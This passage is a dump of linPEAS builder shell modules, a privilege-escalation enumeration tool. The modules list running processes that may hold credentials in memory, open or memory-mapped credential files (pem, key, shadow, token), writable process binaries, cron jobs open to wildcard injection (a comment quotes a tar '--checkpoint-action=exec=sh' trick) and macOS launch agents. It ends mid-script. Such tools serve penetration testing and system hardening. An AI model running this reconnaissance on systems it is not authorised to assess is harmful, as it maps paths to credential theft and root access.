    "content": "# Title: Processes & Cron & Services & Timers - Processes with credentials inside memory\n# ID: PR_Process_cred_in_memory\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: Processes with credentials inside memory and memory-mapped files\n# License: GNU GPL\n# Version: 1.2\n# Mitre: T1003.007\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $pslist, $SEARCH_IN_FOLDER, $processesDump, $nosh_usrs, $processesB, $knw_usrs, $rootcommon, $sh_usrs, $processesVB\n# Initial Functions:\n# Generated Global Variables: $line, $cred_files, $filename, $fd_target, $found_cred_files, $proc, $proc_cmd, $pid, $proc_user, $cred_processes, $seen_files\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Processes with credentials in memory (root req)\" \"T1003.007\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#credentials-from-process-memory\"\n\n  # Common credential-storing processes\n  cred_processes=\"gdm-password gnome-keyring-daemon lightdm vsftpd apache2 sshd: mysql postgres redis-server mongod memcached elasticsearch jenkins tomcat nginx php-fpm supervisord vncserver xrdp teamviewer\"\n\n  # Check for credential-storing processes\n  for proc in $cred_processes; do\n    if echo \"$pslist\" | grep -q \"$proc\"; then\n      echo \"$proc process found (dump creds from memory as root)\" | sed \"s,$proc,${SED_RED},\"\n    else\n      echo_not_found \"$proc\"\n    fi\n  done\n\n  # Check for processes with open handles to credential files\n  echo \"\"\n  print_2title \"Opened Files by processes\" \"T1003.007\"\n  for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf \"%f\\n\" 2>/dev/null); do\n    # Skip if process doesn't exist or we can't access it\n    [ ! -d \"/proc/$pid\" ] && continue\n    [ ! -r \"/proc/$pid/fd\" ] && continue\n\n    # Get process user and command\n    proc_user=$(stat -c '%U' \"/proc/$pid\" 2>/dev/null)\n    proc_cmd=$(cat \"/proc/$pid/cmdline\" 2>/dev/null | tr '\\0' ' ' | head -c 100)\n    [ -z \"$proc_user\" ] || [ -z \"$proc_cmd\" ] && continue\n    \n    # Skip processes that start with \"sed \" or contain \"linpeas.sh\"\n    echo \"$proc_cmd\" | grep -q \"^sed \" && continue\n    echo \"$proc_cmd\" | grep -q \"linpeas.sh\" && continue\n\n    # Variable to store unique files for this process\n    seen_files=\"\"\n    found_cred_files=\"\"\n    \n    # Check for open credential files\n    for fd in /proc/$pid/fd/*; do\n      [ ! -e \"$fd\" ] && continue\n      fd_target=$(readlink \"$fd\" 2>/dev/null)\n      [ -z \"$fd_target\" ] && continue\n      [ \"$fd_target\" = \"/dev/null\" ] && continue\n      echo \"$fd_target\" | grep -q \"^socket:\" && continue\n      echo \"$fd_target\" | grep -q \"^anon_inode:\" && continue\n\n      # Only add if not already seen (using case to check)\n      case \" $seen_files \" in\n        *\" $fd_target \"*) continue ;;\n        *)\n          seen_files=\"$seen_files $fd_target\"\n          if [ -z \"$found_cred_files\" ]; then\n            echo \"Process $pid ($proc_user) - $proc_cmd\"\n            echo \"  └─ Has open files:\"\n            found_cred_files=\"yes\"\n          fi\n          echo \"    └─ $fd_target\"\n          ;;\n      esac\n    done\n  done | sed -${E} \"s,\\.(pem|key|cred|db|sqlite|conf|cnf|ini|env|secret|token|auth|passwd|shadow)$,\\1${SED_RED},g\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$rootcommon,${SED_GREEN},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed \"s,root,${SED_RED},\" | sed -${E} \"s,$processesVB,${SED_RED_YELLOW},g\" | sed \"s,$processesB,${SED_RED},\" | sed -${E} \"s,$processesDump,${SED_RED},\"\n\n  # Check for processes with memory-mapped files that might contain credentials\n  echo \"\"\n  print_2title \"Processes with memory-mapped credential files\" \"T1003.007\"\n  for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf \"%f\\n\" 2>/dev/null); do\n    # Skip if process doesn't exist or we can't access it\n    [ ! -d \"/proc/$pid\" ] && continue\n    [ ! -r \"/proc/$pid/maps\" ] && continue\n\n    # Get process user and command\n    proc_user=$(stat -c '%U' \"/proc/$pid\" 2>/dev/null)\n    proc_cmd=$(cat \"/proc/$pid/cmdline\" 2>/dev/null | tr '\\0' ' ' | head -c 100)\n    [ -z \"$proc_user\" ] || [ -z \"$proc_cmd\" ] && continue\n\n    # Check for memory-mapped files that might contain credentials\n    cred_files=$(grep -E '\\.(pem|key|cred|db|sqlite|conf|cnf|ini|env|secret|token|auth|passwd|shadow)$' \"/proc/$pid/maps\" 2>/dev/null)\n    if [ -n \"$cred_files\" ]; then\n      echo \"Process $pid ($proc_user) - $proc_cmd\"\n      echo \"  └─ Has memory-mapped credential files:\"\n      echo \"$cred_files\" | while read -r line; do\n        filename=$(echo \"$line\" | sed \"s,.*/\\(.*\\),\\1,\")\n        echo \"    └─ $filename\"\n      done\n    fi\n  done\n\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Process binaries permissions\n# ID: PR_Process_binaries_perms\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: Check the permissions of the binaries of the running processes\n# License: GNU GPL\n# Version: 1.2\n# Mitre: T1574,T1554\n# Functions Used: print_2title, print_info\n# Global Variables: $knw_usrs, $nosh_usrs, $NOUSEPS, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders\n# Initial Functions:\n# Generated Global Variables: $binW, $bpath, $pid\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  if [ \"$NOUSEPS\" ]; then\n    print_2title \"Binary processes permissions (non 'root root' and not belonging to current user)\" \"T1574,T1554\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes\"\n    \n    # Get list of writable binaries\n    binW=\"\"\n    for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf \"%f\\n\" 2>/dev/null); do\n      # Skip if process doesn't exist or we can't access it\n      [ ! -r \"/proc/$pid/exe\" ] && continue\n      \n      # Get binary path\n      bpath=$(readlink \"/proc/$pid/exe\" 2>/dev/null)\n      [ -z \"$bpath\" ] && continue\n      \n      # Check if binary is writable\n      if [ -w \"$bpath\" ]; then\n        if [ -z \"$binW\" ]; then\n          binW=\"$bpath\"\n        else\n          binW=\"$binW|$bpath\"\n        fi\n      fi\n    done\n\n    # Get and display binary permissions\n    for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf \"%f\\n\" 2>/dev/null); do\n      # Skip if process doesn't exist or we can't access it\n      [ ! -r \"/proc/$pid/exe\" ] && continue\n      \n      # Get binary path\n      bpath=$(readlink \"/proc/$pid/exe\" 2>/dev/null)\n      [ -z \"$bpath\" ] && continue\n      \n      # Display binary permissions if file exists\n      if [ -e \"$bpath\" ]; then\n        ls -la \"$bpath\" 2>/dev/null\n      fi\n    done | grep -Ev \"\\sroot\\s+root\" | grep -v \" $USER \" | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\" | sed -${E} \"s,$binW,${SED_RED_YELLOW},g\" | sed -${E} \"s,$sh_usrs,${SED_RED},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed -${E} \"s,$knw_usrs,${SED_GREEN},\" | sed \"s,$USER,${SED_RED},\" | sed \"s,root,${SED_GREEN},\"\n    echo \"\"\n  fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/4_Processes_PPID_different_user.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Process opened by other users\n# ID: PR_Processes_PPID_different_user\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: Processes whose PPID belongs to a different user (not root)\n# License: GNU GPL\n# Version: 1.1\n# Mitre: T1134.004\n# Functions Used: print_2title, print_info\n# Global Variables: $nosh_usrs, $NOUSEPS, $SEARCH_IN_FOLDER, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables: $ppid_user, $pid, $ppid, $user, $ppid_uid, $user_uid\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$SEARCH_IN_FOLDER\" ] && ! [ \"$NOUSEPS\" ]; then\n  print_2title \"Processes whose PPID belongs to a different user (not root)\" \"T1134.004\"\n  print_info \"You will know if a user can somehow spawn processes as a different user\"\n  \n  # Function to get user by PID using /proc\n  get_user_by_pid() {\n    if [ -r \"/proc/$1/status\" ]; then\n      grep \"^Uid:\" \"/proc/$1/status\" 2>/dev/null | awk '{print $2}'\n    fi\n  }\n\n  # Function to get username by UID\n  get_username_by_uid() {\n    if [ -r \"/etc/passwd\" ]; then\n      grep \"^[^:]*:[^:]*:$1:\" \"/etc/passwd\" 2>/dev/null | cut -d: -f1\n    fi\n  }\n\n  # Find processes with PPID and user info, then filter those where PPID's user is different from the process's user\n  for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf \"%f\\n\" 2>/dev/null); do\n    # Skip if process doesn't exist or we can't access it\n    [ ! -r \"/proc/$pid/status\" ] && continue\n    \n    # Get process user\n    user_uid=$(get_user_by_pid \"$pid\")\n    [ -z \"$user_uid\" ] && continue\n    user=$(get_username_by_uid \"$user_uid\")\n    [ -z \"$user\" ] && continue\n\n    # Get PPID\n    ppid=$(grep \"^PPid:\" \"/proc/$pid/status\" 2>/dev/null | awk '{print $2}')\n    [ -z \"$ppid\" ] || [ \"$ppid\" = \"0\" ] && continue\n\n    # Get PPID user\n    ppid_uid=$(get_user_by_pid \"$ppid\")\n    [ -z \"$ppid_uid\" ] && continue\n    ppid_user=$(get_username_by_uid \"$ppid_uid\")\n    [ -z \"$ppid_user\" ] && continue\n\n    # Check if users are different and PPID user is not root\n    if [ \"$user\" != \"$ppid_user\" ] && [ \"$ppid_user\" != \"root\" ]; then\n      echo \"Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed \"s,root,${SED_RED},\"\n    fi\n  done\n  echo \"\"\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/5_Files_open_process_other_user.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Files opened by processes belonging to other users\n# ID: PR_Files_open_process_other_user\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: Files opened by processes belonging to other users\n# License: GNU GPL\n# Version: 1.1\n# Mitre: T1083\n# Functions Used: print_2title, print_info\n# Global Variables: $IAMROOT, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER\n# Initial Functions:\n# Generated Global Variables: $user_uid, $pid, $fd_target, $cmd, $user\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  if ! [ \"$IAMROOT\" ]; then\n    print_2title \"Files opened by processes belonging to other users\" \"T1083\"\n    print_info \"This is usually empty because of the lack of privileges to read other user processes information\"\n\n    # Function to get username by UID\n    get_username_by_uid() {\n      if [ -r \"/etc/passwd\" ]; then\n        grep \"^[^:]*:[^:]*:$1:\" \"/etc/passwd\" 2>/dev/null | cut -d: -f1\n      fi\n    }\n\n    # Check each process\n    for pid in $(find /proc -maxdepth 1 -regex '/proc/[0-9]+' -printf \"%f\\n\" 2>/dev/null); do\n      # Skip if process doesn't exist or we can't access it\n      [ ! -r \"/proc/$pid/status\" ] && continue\n      [ ! -r \"/proc/$pid/fd\" ] && continue\n\n      # Get process user\n      user_uid=$(grep \"^Uid:\" \"/proc/$pid/status\" 2>/dev/null | awk '{print $2}')\n      [ -z \"$user_uid\" ] && continue\n      user=$(get_username_by_uid \"$user_uid\")\n      [ -z \"$user\" ] && continue\n\n      # Skip if process belongs to current user\n      [ \"$user\" = \"$USER\" ] && continue\n\n      # Get process command\n      cmd=$(cat \"/proc/$pid/cmdline\" 2>/dev/null | tr '\\0' ' ' | head -c 100)\n      [ -z \"$cmd\" ] && continue\n\n      # Check file descriptors\n      for fd in /proc/$pid/fd/*; do\n        [ ! -e \"$fd\" ] && continue\n        fd_target=$(readlink \"$fd\" 2>/dev/null)\n        [ -z \"$fd_target\" ] && continue\n\n        # Skip if target doesn't exist or is a special file\n        [ ! -e \"$fd_target\" ] && continue\n        case \"$fd_target\" in\n          /dev/*|/proc/*|/sys/*) continue ;;\n        esac\n\n        echo \"Process $pid ($user) - $cmd\"\n        echo \"  └─ Has open file: $fd_target\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed \"s,root,${SED_RED},\"\n      done\n    done\n    echo \"\"\n  fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Different processes 1 min\n# ID: PR_Different_procs_1min\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Different processes executed during 1 min\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1057\n# Functions Used: print_2title, print_info\n# Global Variables: $nosh_usrs, $sh_usrs, $Wfolders\n# Initial Functions:\n# Generated Global Variables: $temp_file\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  if ! [ \"$FAST\" ] && ! [ \"$SUPERFAST\" ]; then\n    print_2title \"Different processes executed during 1 min (interesting is low number of repetitions)\" \"T1057\"\n    print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#frequent-cron-jobs\"\n    temp_file=$(mktemp)\n    if [ \"$(ps -e -o user,command 2>/dev/null)\" ]; then \n      for i in $(seq 1 1210); do \n        ps -e -o user,command >> \"$temp_file\" 2>/dev/null; sleep 0.05; \n      done;\n      sort \"$temp_file\" 2>/dev/null | uniq -c | grep -v \"\\[\" | sed '/^.\\{200\\}./d' | sort -r -n | grep -E -v \"\\s*[1-9][0-9][0-9][0-9]\" | sed -${E} \"s,$Wfolders,${SED_RED},g\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed \"s,root,${SED_RED},\"; \n      rm \"$temp_file\";\n    fi\n    echo \"\"\n  fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/7_Cron_jobs.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Cron jobs and Wildcards\n# ID: PR_Cron_jobs\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: Enumerate system cron jobs and check for privilege escalation vectors\n# License: GNU GPL\n# Version: 1.2\n# Mitre: T1053.003\n# Functions Used: echo_not_found, print_2title, print_info\n# Global Variables: $cronjobsG, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders, $cronjobsB, $PATH\n# Initial Functions:\n# Generated Global Variables: $cmd, $VAR, $file, $path, $user_crontab, $username, $job_id, $cron_dir, $crontab, $findings, $line, $finding, $bin\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"Check for vulnerable cron jobs\" \"T1053.003\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs\"\n\n  print_3title \"Cron jobs list\" \"T1053.003\"\n  command -v crontab 2>/dev/null || echo_not_found \"crontab\"\n  crontab -l 2>/dev/null | tr -d \"\\r\" | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\" | sed \"s,root,${SED_RED},\"\n  command -v incrontab 2>/dev/null || echo_not_found \"incrontab\"\n  incrontab -l 2>/dev/null\n  ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} \"s,$cronjobsG,${SED_GREEN},g\" | sed \"s,$cronjobsB,${SED_RED},g\"\n  cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d \"\\r\" | grep -v \"^#\" | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\" | sed -${E} \"s,$sh_usrs,${SED_LIGHT_CYAN},\" | sed \"s,$USER,${SED_LIGHT_MAGENTA},\" | sed -${E} \"s,$nosh_usrs,${SED_BLUE},\"  | sed \"s,root,${SED_RED},\"\n  grep -Hn '^PATH=' /etc/crontab /etc/cron.d/* 2>/dev/null | sed -${E} \"s,$Wfolders,${SED_RED_YELLOW},g\"\n  crontab -l -u \"$USER\" 2>/dev/null | tr -d \"\\r\"\n  ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} \"s,$cronjobsG,${SED_GREEN},g\" | sed \"s,$cronjobsB,${SED_RED},g\" #MacOS paths\n  atq 2>/dev/null\n  echo \"\"\n\n  print_3title \"Checking for specific cron jobs vulnerabilities\" \"T1053.003\"\n  # Function to check if a binary is writable and executable\n  check_binary_perms() {\n    local bin=\"$1\"\n    [ -z \"$bin\" ] && return\n    \n    # Skip if binary doesn't exist\n    [ ! -e \"$bin\" ] && return\n    \n    # Check if it's a regular file\n    [ ! -f \"$bin\" ] && return\n    \n    # Check if it's writable and executable\n    if [ -w \"$bin\" ]; then\n      echo \"Writable binary: $bin\"\n      ls -l \"$bin\" 2>/dev/null\n    fi\n  }\n\n  # Function to extract binary path from command\n  get_binary_path() {\n    local cmd=\"$1\"\n    local bin=\"\"\n    \n    # Try to get the first word of the command\n    bin=$(echo \"$cmd\" | awk '{print $1}')\n    [ -z \"$bin\" ] && return\n    \n    # If it's an absolute path, use it directly\n    if [ \"$(echo \"$bin\" | cut -c1)\" = \"/\" ]; then\n      echo \"$bin\"\n      return\n    fi\n    \n    # If it's a relative path, try to resolve it\n    if [ -e \"$bin\" ]; then\n      echo \"$(pwd)/$bin\"\n      return\n    fi\n    \n    # Try to find it in PATH\n    for path in $(echo \"$PATH\" | tr ':' ' '); do\n      if [ -x \"$path/$bin\" ]; then\n        echo \"$path/$bin\"\n        return\n      fi\n    done\n  }\n\n  # Function to check for privilege escalation vectors in a command\n  check_privesc_vectors() {\n    local cmd=\"$1\"\n    local file=\"$2\"\n    local findings=\"\"\n    local bin=\"\"\n\n    # Skip common false positives (mail commands, shell conditionals, variable assignments)\n    if echo \"$cmd\" | grep -qE '^(mail|echo|then|else|fi|if|for|while|do|done|case|esac|exit|return|break|continue|:|\\[|test|\\[\\[|\\]\\]|true|false|source|\\.|cd|pwd|export|unset|readonly|local|declare|typeset|alias|unalias|set|unset|shift|wait|trap|umask|ulimit|exec|eval|command|builtin|let|read|printf|^[[:space:]]*[A-Za-z0-9_]+[[:space:]]*[=:])'; then\n      return\n    fi\n\n    # Get the binary path\n    bin=$(get_binary_path \"$cmd\")\n    if [ -n \"$bin\" ]; then\n      check_binary_perms \"$bin\"\n    fi\n\n    # Check for wildcard injection vectors\n    # Attack: Using wildcards in tar/chmod/chown to execute arbitrary commands\n    # Example: tar cf archive.tar * (where * expands to --checkpoint=1 --checkpoint-action=exec=sh)\n    if echo \"$cmd\" | grep -qE '\\*'; then\n      findings=\"${findings}POTENTIAL_WILDCARD_INJECTION: Command uses wildcards with potentially exploitable command\\n\"\n    fi\n\n    # Check for path hijacking vectors\n    # Attack: Using relative paths or commands without full path that can be hijacked\n    # Example: script.sh instead of /usr/bin/script.sh\n    if echo \"$cmd\" | grep -qE '^[[:space:]]*[^/][^[:space:]]*[[:space:]]'; then\n      # Skip common false positives like shell builtins, control structures, and variable assignments\n      # Also skip test commands ([ ]), logical operators (&& ||), and complex shell constructs\n      if ! echo \"$cmd\" | grep -qE '^[[:space:]]*(cd|\\.|source|\\./|if|then|else|fi|for|while|do|done|case|esac|exit|return|break|continue|:|\\[[[:space:]]|test|\\[\\[|\\]\\]|true|false|export|unset|readonly|local|declare|typeset|alias|unalias|set|unset|shift|wait|trap|umask|ulimit|exec|eval|command|builtin|let|read|printf|[A-Za-z0-9_]+[[:space:]]*[=:]|&&|\\|\\||;|\\(|\\)|\\{|\\})'; then\n        findings=\"${findings}PATH_HIJACKING: Command uses relative path\\n\"\n      fi\n    fi\n\n    # Check for command injection vectors\n    # Attack: Using unquoted variables or command substitution that can be injected\n    # Example: echo $VAR or echo $(command)\n    if echo \"$cmd\" | grep -qE '\\$\\{?[A-Za-z0-9_]|\\$\\(|`'; then\n      findings=\"${findings}COMMAND_INJECTION: Command uses unquoted variables or command substitution\\n\"\n    fi\n\n    # Check for overly permissive commands\n    # Attack: Commands that can be used to escalate privileges\n    # Example: chmod 777, chown root, etc.\n    if echo \"$cmd\" | grep -qE '\\b(chmod\\s+[0-7]{3,4}|chown\\s+root|chgrp\\s+root|sudo|su |pkexec)\\b'; then\n      findings=\"${findings}PERMISSIVE_COMMAND: Command modifies permissions or uses privilege escalation tools\\n\"\n    fi\n\n    # If any findings, print them\n    if [ -n \"$findings\" ]; then\n      echo \"Potential privilege escalation in cron job:\"\n      echo \"  └─ File: $file\"\n      echo \"  └─ Command: $cmd\"\n      if [ -n \"$bin\" ]; then\n        echo \"  └─ Binary: $bin\"\n      fi\n      echo \"  └─ Findings:\"\n      echo \"$findings\" | while read -r finding; do\n        [ -n \"$finding\" ] && echo \"     * $finding\"\n      done\n    fi\n  }\n\n  # Check system crontabs\n  #echo \"Checking system crontabs...\"\n  #for crontab in /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/* /var/spool/cron/crontabs/* /etc/at* /etc/anacrontab /etc/incron.d/* /var/spool/incron/*; do\n  #  [ ! -f \"$crontab\" ] && continue\n  #  [ ! -r \"$crontab\" ] && continue\n\n  #  # Check if the file is writable\n  #  if [ -w \"$crontab\" ]; then\n  #    echo \"Writable cron file: $crontab\"\n  #  fi\n\n  #  # Check each line for privilege escalation vectors\n  #  while IFS= read -r line || [ -n \"$line\" ]; do\n  #    # Skip comments and empty lines\n  #    case \"$line\" in\n  #      \\#*|\"\") continue ;;\n  #    esac\n\n  #    # Extract the command part (everything after the time specification)\n  #    cmd=$(echo \"$line\" | sed -E 's/^[^ ]+ [^ ]+ [^ ]+ [^ ]+ [^ ]+ //')\n  #    [ -z \"$cmd\" ] && continue\n\n  #    check_privesc_vectors \"$cmd\" \"$crontab\"\n  #  done < \"$crontab\"\n  #done\n\n  # Check user crontabs\n  #echo \"Checking user crontabs...\"\n  #if command -v crontab >/dev/null 2>&1; then\n  #  # Check current user's crontab\n  #  crontab -l 2>/dev/null | while IFS= read -r line || [ -n \"$line\" ]; do\n  #    case \"$line\" in\n  #      \\#*|\"\") continue ;;\n  #    esac\n  #    cmd=$(echo \"$line\" | sed -E 's/^[^ ]+ [^ ]+ [^ ]+ [^ ]+ [^ ]+ //')\n  #    [ -z \"$cmd\" ] && continue\n  #    check_privesc_vectors \"$cmd\" \"current user crontab\"\n  #  done\n\n  #  # Check other users' crontabs if accessible\n  #  for user_crontab in /var/spool/cron/crontabs/*; do\n  #    [ ! -f \"$user_crontab\" ] && continue\n  #    [ ! -r \"$user_crontab\" ] && continue\n  #    username=$(basename \"$user_crontab\")\n  #    [ \"$username\" = \"$USER\" ] && continue\n      \n  #    echo \"Found crontab for user: $username\"\n  #    while IFS= read -r line || [ -n \"$line\" ]; do\n  #      case \"$line\" in\n  #        \\#*|\"\") continue ;;\n  #      esac\n  #      cmd=$(echo \"$line\" | sed -E 's/^[^ ]+ [^ ]+ [^ ]+ [^ ]+ [^ ]+ //')\n  #      [ -z \"$cmd\" ] && continue\n  #      check_privesc_vectors \"$cmd\" \"$user_crontab\"\n  #    done < \"$user_crontab\"\n  #  done\n  #else\n  #  echo_not_found \"crontab\"\n  #fi\n\n  # Check for writable cron directories\n  echo \"Checking cron directories...\"\n  for cron_dir in /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /var/spool/cron/crontabs /usr/lib/cron/tabs /private/var/at/jobs /var/at/tabs /etc/periodic; do\n    [ ! -d \"$cron_dir\" ] && continue\n    if [ -w \"$cron_dir\" ]; then\n      echo \"Writable cron directory: $cron_dir\"\n    fi\n  done\n\n  # Check for at jobs\n  #if command -v atq >/dev/null 2>&1; then\n  #  echo \"Checking at jobs...\"\n  #  atq 2>/dev/null | while IFS= read -r line || [ -n \"$line\" ]; do\n  #    [ -z \"$line\" ] && continue\n  #    job_id=$(echo \"$line\" | awk '{print $1}')\n  #    [ -z \"$job_id\" ] && continue\n  #    at -c \"$job_id\" 2>/dev/null | while IFS= read -r cmd || [ -n \"$cmd\" ]; do\n  #      case \"$cmd\" in\n  #        \\#*|\"\") continue ;;\n  #      esac\n  #      check_privesc_vectors \"$cmd\" \"at job $job_id\"\n  #    done\n  #  done\n  #fi\n\n  # Check for incron jobs\n  #if command -v incrontab >/dev/null 2>&1; then\n  #  echo \"Checking incron jobs...\"\n  #  incrontab -l 2>/dev/null | while IFS= read -r line || [ -n \"$line\" ]; do\n  #    case \"$line\" in\n  #      \\#*|\"\") continue ;;\n  #    esac\n  #    cmd=$(echo \"$line\" | awk '{print $3}')\n  #    [ -z \"$cmd\" ] && continue\n  #    check_privesc_vectors \"$cmd\" \"incron job\"\n  #  done\n  #fi\nelse\n  print_2title \"Cron jobs\" \"T1053.003\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs\"\n  find \"$SEARCH_IN_FOLDER\" '(' -type d -or -type f ')' '(' -name \"cron*\" -or -name \"anacron\" -or -name \"anacrontab\" -or -name \"incron.d\" -or -name \"incron\" -or -name \"at\" -or -name \"periodic\" ')' -exec echo {} \\; -exec ls -lR {} \\;\nfi\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/8_Macos_launch_agents_daemons.sh",
    "content": "# Title: Processes & Cron & Services & Timers - Third party LaunchAgents & LaunchDemons\n# ID: PR_Macos_launch_agents_daemons\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: Third party LaunchAgents & LaunchDemons and privilege escalation vectors\n# License: GNU GPL\n# Version: 1.1\n# Mitre: T1543.001\n# Functions Used: print_2title, print_info\n# Global Variables: $MACPEAS, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables: $program, $plist_content, $binary_path, $periodic_dir, $workdir, $startup_dir, $line, $emond_script, $startup_item, $finding, $location, $findings, $login_item, $plist, $periodic_script, $plist_dir\n# Fat linpeas: 0\n# Small linpeas: 0\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  if [ \"$MACPEAS\" ]; then\n    print_2title \"Third party LaunchAgents & LaunchDemons\" \"T1543.001\"\n    print_info \"https://book.hacktricks.wiki/en/macos-hardening/macos-auto-start-locations.html#launchd\"\n    print_info \"Checking for privilege escalation vectors in LaunchAgents & LaunchDaemons:\"\n    print_info \"1. Writable plist files\"\n    print_info \"2. Writable program binaries\"\n    print_info \"3. Environment variables with sensitive data\"\n    print_info \"4. Unsafe program arguments\"\n    print_info \"5. RunAtLoad with elevated privileges\"\n    print_info \"6. KeepAlive with elevated privileges\"\n\n    # Function to check plist content for privilege escalation vectors\n    check_plist_content() {\n      local plist=\"$1\"\n      local findings=\"\"\n      \n      # Check for environment variables\n      if defaults read \"$plist\" EnvironmentVariables 2>/dev/null | grep -qE '(PASS|SECRET|KEY|TOKEN|CRED)'; then\n        findings=\"${findings}ENV_VARS: Contains sensitive environment variables\\n\"\n      fi\n\n      # Check for RunAtLoad with elevated privileges\n      if defaults read \"$plist\" RunAtLoad 2>/dev/null | grep -q \"true\"; then\n        if [ -w \"$plist\" ]; then\n          findings=\"${findings}RUN_AT_LOAD: Runs at load and plist is writable\\n\"\n        fi\n      fi\n\n      # Check for KeepAlive with elevated privileges\n      if defaults read \"$plist\" KeepAlive 2>/dev/null | grep -q \"true\"; then\n        if [ -w \"$plist\" ]; then\n          findings=\"${findings}KEEP_ALIVE: Keeps running and plist is writable\\n\"\n        fi\n      fi\n\n      # Check for unsafe program arguments\n      if defaults read \"$plist\" ProgramArguments 2>/dev/null | grep -qE '(sudo|su|chmod|chown|chroot|mount)'; then\n        findings=\"${findings}UNSAFE_ARGS: Uses potentially dangerous program arguments\\n\"\n      fi\n\n      # Check for writable working directory\n      if defaults read \"$plist\" WorkingDirectory 2>/dev/null | grep -qE '^/'; then\n        local workdir=$(defaults read \"$plist\" WorkingDirectory 2>/dev/null)\n        if [ -w \"$workdir\" ]; then\n          findings=\"${findings}WRITABLE_WORKDIR: Working directory is writable\\n\"\n        fi\n      fi\n\n      # If any findings, print them\n      if [ -n \"$findings\" ]; then\n        echo \"Potential privilege escalation in: $plist\"\n        echo \"$findings\" | while read -r finding; do\n          [ -n \"$finding\" ] && echo \"  └─ $finding\"\n        done\n      fi\n    }\n\n    # Check system and user LaunchAgents & LaunchDaemons\n    for plist_dir in /Library/LaunchAgents/ /Library/LaunchDaemons/ 